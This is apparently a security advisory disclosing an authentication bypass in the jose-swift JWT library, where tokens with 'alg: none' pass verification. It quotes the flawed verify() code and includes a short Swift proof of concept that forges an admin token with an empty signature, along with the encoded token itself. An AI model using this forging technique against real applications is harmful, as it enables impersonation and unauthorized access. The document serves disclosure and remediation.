Summary

An authentication bypass vulnerability allows any unauthenticated attacker to forge arbitrary JWT tokens by setting "alg": "none" in the token header. The library's verification functions immediately return true for such tokens without performing any cryptographic verification, enabling complete impersonation of any user and privilege escalation.

Details

The vulnerability exists in Sources/JSONWebSignature/JWS+Verify.swift at lines 34-37:

  public func verify<Key>(key: Key?) throws -> Bool {
      guard SigningAlgorithm.none != protectedHeader.algorithm else {
          return true  // <-- Vulnerability: returns true without verification
      }

When the JWT header contains "alg": "none", the verify() method returns true immediately without:

1. Checking if the signature is empty or present
2. Validating the token against any key
3. Requiring explicit opt-in from the caller

The SigningAlgorithm enum in Sources/JSONWebAlgorithms/Signatures/SigningAlgorithm.swift:72 explicitly includes case none = "none" as a valid algorithm.

All verification methods are affected:

• JWS.verify(key:) - Instance method
• JWS.verify(jwsString:payload:key:) - Static method
• JWT.verify(jwtString:senderKey:) - High-level API

PoC

1. Create a forged JWT with modified claims:
   // Forged header with alg:none
   let header = #"{"alg":"none","typ":"JWT"}"#

// Attacker's payload with escalated privileges
let payload = #"{"sub":"user123","admin":true}"#

// Base64URL encode and concatenate with empty signature
let forgedToken = base64url(header) + "." + base64url(payload) + "."
// Result: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMTIzIiwiYWRtaW4iOnRydWV9.

2. Verify the forged token passes verification:
   let jws = try JWS(jwsString: forgedToken)
   let isValid = try jws.verify(key: legitimateSecretKey) // Returns TRUE

Impact

This is an authentication bypass vulnerability. Who is impacted: Any application using jose-swift for JWT verification is vulnerable. An attacker can:

• Forge identity: Create tokens claiming to be any user
• Escalate privileges: Add admin/superuser claims to gain unauthorized access
• Bypass authentication entirely: Access protected resources without valid credentials
• Modify any claim: Change expiration, audience, issuer, or any custom claims

The attack requires no knowledge of the signing key and works against all signature algorithms (HS256, RS256, ES256, etc.) since the attacker simply bypasses signature verification entirely.

Credits

Reported by Louis Nyffenegger - https://pentesterlab.com/

References

• GHSA-88q6-jcjg-hvmw